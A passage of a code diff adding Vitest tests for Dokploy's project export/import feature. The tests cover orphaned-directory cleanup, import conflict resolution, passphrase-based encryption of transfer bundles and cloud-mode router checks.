const dir = join(root, name);
|
||||
await mkdir(dir, { recursive: true });
|
||||
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
|
||||
await utimes(dir, staleTime, staleTime);
|
||||
return dir;
|
||||
};
|
||||
|
||||
describe("sweepOrphanedTransferDirectories", () => {
|
||||
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
|
||||
const dir = await makeStaleDir("orphaned-export-1");
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(false);
|
||||
});
|
||||
|
||||
it("leaves a fresh directory alone regardless of job state", async () => {
|
||||
const dir = join(root, "fresh-export-1");
|
||||
await mkdir(dir, { recursive: true });
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
|
||||
const exportId = "export-still-running-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const dir = await makeStaleDir(exportId);
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
|
||||
const importId = "import-still-running-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
const dir = await makeStaleDir(importId);
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sweepRemoteTransferDirectories", () => {
|
||||
it("removes every workspace and bundle on the server that has no live job", async () => {
|
||||
createExportJob("remote-live-1", "user-1", "org-1");
|
||||
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
|
||||
stdout: command.startsWith("find ")
|
||||
? [
|
||||
"remote-orphan-1",
|
||||
"remote-orphan-1.dokploy.tar.gz",
|
||||
"remote-live-1",
|
||||
"remote-live-1.dokploy.tar.gz",
|
||||
]
|
||||
.map((name) => `/etc/dokploy/transfer/${name}\n`)
|
||||
.join("")
|
||||
: "",
|
||||
stderr: "",
|
||||
}));
|
||||
|
||||
await sweepRemoteTransferDirectories(
|
||||
["server-1"],
|
||||
1_700_000_000_000,
|
||||
() =>
|
||||
({
|
||||
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
|
||||
}) as any,
|
||||
);
|
||||
|
||||
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
|
||||
"! -newermt @1700000000",
|
||||
);
|
||||
const removed = vi
|
||||
.mocked(execAsyncRemote)
|
||||
.mock.calls.map(([, command]) => command)
|
||||
.filter((command) => command.startsWith("rm "));
|
||||
expect(removed).toEqual([
|
||||
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
|
||||
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps going when one server is unreachable", async () => {
|
||||
vi.mocked(execAsyncRemote)
|
||||
.mockReset()
|
||||
.mockRejectedValueOnce(new Error("ssh down"))
|
||||
.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
|
||||
await expect(
|
||||
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
|
||||
).resolves.toBeUndefined();
|
||||
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
|
||||
"down",
|
||||
"up",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,265 @@
|
||||
import type {
|
||||
Conflict,
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
resolveConflicts,
|
||||
resolvedProjectName,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const conflict = (
|
||||
kind: Conflict["kind"],
|
||||
value: string,
|
||||
options: Conflict["options"],
|
||||
): Conflict => ({
|
||||
kind,
|
||||
value,
|
||||
existingId: `existing-${kind}`,
|
||||
usedBy: [],
|
||||
options,
|
||||
});
|
||||
|
||||
describe("resolveConflicts", () => {
|
||||
const conflicts = [
|
||||
conflict("domain", "api.example.com", ["rename", "skip"]),
|
||||
conflict("port", "8080", ["rename", "skip", "keep"]),
|
||||
conflict("projectName", "shop", ["rename"]),
|
||||
conflict("network", "shared-net", ["keep", "rename", "skip"]),
|
||||
];
|
||||
|
||||
it("applies safe defaults per kind", () => {
|
||||
expect(resolveConflicts(conflicts, undefined)).toEqual({
|
||||
"domain:api.example.com": { action: "skip" },
|
||||
"port:8080": { action: "skip" },
|
||||
"projectName:shop": { action: "rename", value: "shop (imported)" },
|
||||
"network:shared-net": { action: "keep" },
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps valid user choices and falls back for invalid ones", () => {
|
||||
const resolved = resolveConflicts(conflicts, {
|
||||
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
|
||||
"port:8080": { action: "rename", value: "not-a-port" },
|
||||
"projectName:shop": { action: "skip" },
|
||||
"network:shared-net": { action: "rename", value: "shared-net-2" },
|
||||
});
|
||||
expect(resolved["domain:api.example.com"]).toEqual({
|
||||
action: "rename",
|
||||
value: "api2.example.com",
|
||||
});
|
||||
expect(resolved["port:8080"]).toEqual({ action: "skip" });
|
||||
expect(resolved["projectName:shop"]).toEqual({
|
||||
action: "rename",
|
||||
value: "shop (imported)",
|
||||
});
|
||||
expect(resolved["network:shared-net"]).toEqual({
|
||||
action: "rename",
|
||||
value: "shared-net-2",
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves the project name from the rename choice", () => {
|
||||
expect(
|
||||
resolvedProjectName(
|
||||
{ kind: "newProject", name: "shop" },
|
||||
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
|
||||
),
|
||||
).toBe("shop-2");
|
||||
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
|
||||
"shop",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "shop", env: "" },
|
||||
environments: [{ environmentId: "env-1", name: "production", env: "" }],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
appName: "web-abc123",
|
||||
environmentId: "env-1",
|
||||
networkIds: ["net-src"],
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "api.example.com", enabled: true },
|
||||
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
|
||||
],
|
||||
ports: [
|
||||
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
|
||||
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
|
||||
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
|
||||
],
|
||||
},
|
||||
],
|
||||
shared: {
|
||||
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
|
||||
},
|
||||
},
|
||||
requirements: [
|
||||
{
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
name: "shared-net",
|
||||
},
|
||||
],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const runApply = async (
|
||||
conflictResolutions: Plan["conflictResolutions"],
|
||||
networkResolution: "keep" | "rename" | "skip",
|
||||
) => {
|
||||
const { applications, domains, environments, network, ports, projects } =
|
||||
await import("@dokploy/server/db/schema");
|
||||
const inserted = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const writeDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const row: Record<string, unknown> = {
|
||||
...values,
|
||||
id: `row-${++counter}`,
|
||||
};
|
||||
if (table === projects) row.projectId = "project-new";
|
||||
if (table === environments) row.environmentId = "env-new";
|
||||
if (table === network) row.networkId = "net-new";
|
||||
if (table === applications) row.applicationId = "app-new";
|
||||
if (table === domains) row.domainId = `dom-new-${counter}`;
|
||||
const list = inserted.get(table) ?? [];
|
||||
list.push(row);
|
||||
inserted.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...writeDb }),
|
||||
} as unknown as TransferWriteDb;
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "shop" },
|
||||
resolutions: {
|
||||
"network:net-src": {
|
||||
requirementKey: "network:net-src",
|
||||
action: "create",
|
||||
},
|
||||
},
|
||||
serverMap: { null: null },
|
||||
appNameMap: { "web-abc123": "web-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [
|
||||
conflict("projectName", "shop", ["rename"]),
|
||||
conflict("domain", "api.example.com", ["rename", "skip"]),
|
||||
conflict("domain", "admin.example.com", ["rename", "skip"]),
|
||||
conflict("port", "8080", ["rename", "skip", "keep"]),
|
||||
conflict("port", "9090", ["rename", "skip", "keep"]),
|
||||
conflict("network", "shared-net", ["keep", "rename", "skip"]),
|
||||
],
|
||||
conflictResolutions: {
|
||||
...conflictResolutions,
|
||||
"network:shared-net":
|
||||
networkResolution === "rename"
|
||||
? { action: "rename", value: "shared-net-2" }
|
||||
: { action: networkResolution },
|
||||
},
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 2, dumps: 0 },
|
||||
};
|
||||
|
||||
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
|
||||
return {
|
||||
result,
|
||||
project: inserted.get(projects)?.[0],
|
||||
domains: inserted.get(domains) ?? [],
|
||||
ports: inserted.get(ports) ?? [],
|
||||
networks: inserted.get(network) ?? [],
|
||||
application: inserted.get(applications)?.[0],
|
||||
};
|
||||
};
|
||||
|
||||
describe("apply consumes conflict resolutions", () => {
|
||||
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
|
||||
const out = await runApply(
|
||||
{
|
||||
"projectName:shop": { action: "rename", value: "shop-2" },
|
||||
"domain:api.example.com": {
|
||||
action: "rename",
|
||||
value: "api-2.example.com",
|
||||
},
|
||||
"domain:admin.example.com": { action: "skip" },
|
||||
"port:8080": { action: "skip" },
|
||||
"port:9090": { action: "rename", value: "9091" },
|
||||
},
|
||||
"keep",
|
||||
);
|
||||
expect(out.project?.name).toBe("shop-2");
|
||||
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
|
||||
["api-2.example.com", true],
|
||||
["admin.example.com", false],
|
||||
]);
|
||||
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
|
||||
expect(out.networks).toEqual([]);
|
||||
expect(out.application?.networkIds).toEqual(["existing-network"]);
|
||||
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
|
||||
});
|
||||
|
||||
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
|
||||
const renamed = await runApply({}, "rename");
|
||||
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
|
||||
expect(renamed.application?.networkIds).toEqual(["net-new"]);
|
||||
|
||||
const skipped = await runApply({}, "skip");
|
||||
expect(skipped.networks).toEqual([]);
|
||||
expect(skipped.application?.networkIds).toEqual([]);
|
||||
expect(
|
||||
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,183 @@
|
||||
import {
|
||||
createReadStream,
|
||||
createWriteStream,
|
||||
mkdtempSync,
|
||||
readFileSync,
|
||||
rmSync,
|
||||
writeFileSync,
|
||||
} from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { Readable, Writable } from "node:stream";
|
||||
import { pipeline } from "node:stream/promises";
|
||||
import {
|
||||
decryptField,
|
||||
deriveKeys,
|
||||
encryptField,
|
||||
gcmDecryptStream,
|
||||
gcmEncryptStream,
|
||||
makeKeyCheck,
|
||||
TransferCryptoError,
|
||||
verifyKeyCheck,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("deriveKeys", () => {
|
||||
it("rejects a passphrase shorter than 12 characters", async () => {
|
||||
await expect(deriveKeys("short")).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("derives the same keys from the same passphrase and salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(true);
|
||||
expect(second.salt).toBe(first.salt);
|
||||
});
|
||||
|
||||
it("derives different keys for a different salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("correct-horse-battery-staple");
|
||||
expect(second.salt).not.toBe(first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(false);
|
||||
});
|
||||
|
||||
it("derives different keys for a different passphrase with the same salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("another-passphrase-entirely", first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("encryptField / decryptField", () => {
|
||||
it("round-trips a plaintext value", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
|
||||
});
|
||||
|
||||
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
|
||||
it("fails when decrypting with a different key", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("makeKeyCheck / verifyKeyCheck", () => {
|
||||
it("verifies with the correct passphrase", async () => {
|
||||
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
|
||||
const keyCheck = makeKeyCheck(kEnc);
|
||||
const { kEnc: reDerived } = await deriveKeys(
|
||||
"correct-horse-battery-staple",
|
||||
salt,
|
||||
);
|
||||
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
|
||||
});
|
||||
|
||||
it("fails with the wrong passphrase", async () => {
|
||||
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
|
||||
const keyCheck = makeKeyCheck(kEnc);
|
||||
const { kEnc: wrongKEnc } = await deriveKeys(
|
||||
"totally-wrong-passphrase",
|
||||
salt,
|
||||
);
|
||||
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("gcmDecryptStream edge cases", () => {
|
||||
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const encrypt = async (bytes: Buffer) => {
|
||||
const chunks: Buffer[] = [];
|
||||
await pipeline(
|
||||
Readable.from([bytes]),
|
||||
gcmEncryptStream(kEnc),
|
||||
new Writable({
|
||||
write(chunk, _encoding, callback) {
|
||||
chunks.push(chunk);
|
||||
callback();
|
||||
},
|
||||
}),
|
||||
);
|
||||
return Buffer.concat(chunks);
|
||||
};
|
||||
const decrypt = async (bytes: Buffer, chunkSize: number) => {
|
||||
const chunks: Buffer[] = [];
|
||||
const pieces: Buffer[] = [];
|
||||
for (let i = 0; i < bytes.length; i += chunkSize) {
|
||||
pieces.push(bytes.subarray(i, i + chunkSize));
|
||||
}
|
||||
await pipeline(
|
||||
Readable.from(pieces),
|
||||
gcmDecryptStream(kEnc),
|
||||
new Writable({
|
||||
write(chunk, _encoding, callback) {
|
||||
chunks.push(chunk);
|
||||
callback();
|
||||
},
|
||||
}),
|
||||
);
|
||||
return Buffer.concat(chunks);
|
||||
};
|
||||
|
||||
const empty = await encrypt(Buffer.alloc(0));
|
||||
expect(empty.length).toBe(12 + 16);
|
||||
expect((await decrypt(empty, 1)).length).toBe(0);
|
||||
|
||||
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
|
||||
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
|
||||
|
||||
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("gcmEncryptStream / gcmDecryptStream", () => {
|
||||
it("round-trips a file and rejects a flipped byte", async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
|
||||
try {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const plain = join(dir, "plain.bin");
|
||||
const enc = join(dir, "plain.enc");
|
||||
const out = join(dir, "plain.out");
|
||||
writeFileSync(plain, Buffer.alloc(100_000, 7));
|
||||
await pipeline(
|
||||
createReadStream(plain),
|
||||
gcmEncryptStream(kEnc),
|
||||
createWriteStream(enc),
|
||||
);
|
||||
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
|
||||
await pipeline(
|
||||
createReadStream(enc),
|
||||
gcmDecryptStream(kEnc),
|
||||
createWriteStream(out),
|
||||
);
|
||||
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
|
||||
|
||||
const bytes = readFileSync(enc);
|
||||
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
|
||||
writeFileSync(enc, bytes);
|
||||
await expect(
|
||||
pipeline(
|
||||
createReadStream(enc),
|
||||
gcmDecryptStream(kEnc),
|
||||
createWriteStream(out),
|
||||
),
|
||||
).rejects.toThrow(TransferCryptoError);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,236 @@
|
||||
import {
|
||||
buildBundleObjectKey,
|
||||
deriveKeys,
|
||||
EXPORTS_DIRECTORY,
|
||||
makeKeyCheck,
|
||||
slugifyProjectName,
|
||||
verifyBundlePassphrase,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsync } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return { ...actual, execAsync: vi.fn(actual.execAsync) };
|
||||
});
|
||||
|
||||
describe("slugifyProjectName", () => {
|
||||
it("produces a lowercase, URL-safe slug", () => {
|
||||
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
|
||||
});
|
||||
|
||||
it("falls back to a generic name for an empty/unslugifiable input", () => {
|
||||
expect(slugifyProjectName("")).toBe("project");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildBundleObjectKey", () => {
|
||||
it("always stores bundles under the fixed exports directory", () => {
|
||||
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
|
||||
expect(key).toBe(
|
||||
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
|
||||
);
|
||||
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
|
||||
});
|
||||
});
|
||||
|
||||
describe("verifyBundlePassphrase", () => {
|
||||
it("checks the keyCheck of a manifest read from the head of the object", async () => {
|
||||
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const manifest = {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt,
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: makeKeyCheck(kEnc),
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({
|
||||
stdout: JSON.stringify(manifest),
|
||||
stderr: "",
|
||||
});
|
||||
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
|
||||
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"correct-horse-battery-staple",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: true, valid: true });
|
||||
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({
|
||||
stdout: JSON.stringify(manifest),
|
||||
stderr: "",
|
||||
});
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"wrong-passphrase-here",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: true, valid: false });
|
||||
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"correct-horse-battery-staple",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: false });
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
|
||||
"tar -xzOf - manifest.json ",
|
||||
);
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
|
||||
"--count 4194304",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
|
||||
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
|
||||
vi.resetModules();
|
||||
process.env.IS_CLOUD = "true";
|
||||
|
||||
vi.doMock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
const caller = projectExportImportRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1", email: "a@b.com" },
|
||||
} as any);
|
||||
|
||||
await expect(
|
||||
caller.exportStart({
|
||||
projectId: "project-1",
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
|
||||
delete process.env.IS_CLOUD;
|
||||
vi.doUnmock("@dokploy/server/services/project-export-import");
|
||||
vi.resetModules();
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
|
||||
it("skips projects with no remote server instead of failing the whole batch", async () => {
|
||||
vi.resetModules();
|
||||
process.env.IS_CLOUD = "true";
|
||||
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
|
||||
|
||||
vi.doMock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
projects: {
|
||||
findMany: async () => [
|
||||
{ projectId: "with-server", name: "With server" },
|
||||
{ projectId: "empty", name: "Empty" },
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
vi.doMock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
findOrganizationDestination: vi.fn(async () => ({})),
|
||||
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
|
||||
if (projectId === "with-server") return "server-1";
|
||||
throw new TRPCError({
|
||||
code: "BAD_REQUEST",
|
||||
message: "none of the selected services runs on a remote server",
|
||||
});
|
||||
}),
|
||||
runExportBatch,
|
||||
};
|
||||
},
|
||||
);
|
||||
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
const caller = projectExportImportRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-org-cloud", email: "a@b.com" },
|
||||
} as any);
|
||||
|
||||
const result = await caller.exportOrganizationStart({
|
||||
destinationId: "dest-1",
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
projectIds: ["with-server", "empty", "with-server"],
|
||||
});
|
||||
|
||||
expect(result.exports).toEqual([
|
||||
{ projectId: "with-server", name: "With server", exportId: "export-1" },
|
||||
]);
|
||||
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
|
||||
expect(runExportBatch).toHaveBeenCalledWith(
|
||||
[expect.objectContaining({ buildServerId: "server-1" })],
|
||||
expect.anything(),
|
||||
);
|
||||
|
||||
delete process.env.IS_CLOUD;
|
||||
vi.doUnmock("@dokploy/server/db");
|
||||
vi.doUnmock("@dokploy/server/services/project-export-import");
|
||||
vi.doUnmock("../../server/api/utils/audit");
|
||||
vi.resetModules();
|
||||
}, 30_000);
|
||||
});
|
||||
@@ -0,0 +1,393 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { gzipSync } from "node:zlib";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
inspectBundle,
|
||||
serialize,
|
||||
TransferCryptoError,
|
||||
unlockBundle,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres = {
|
||||
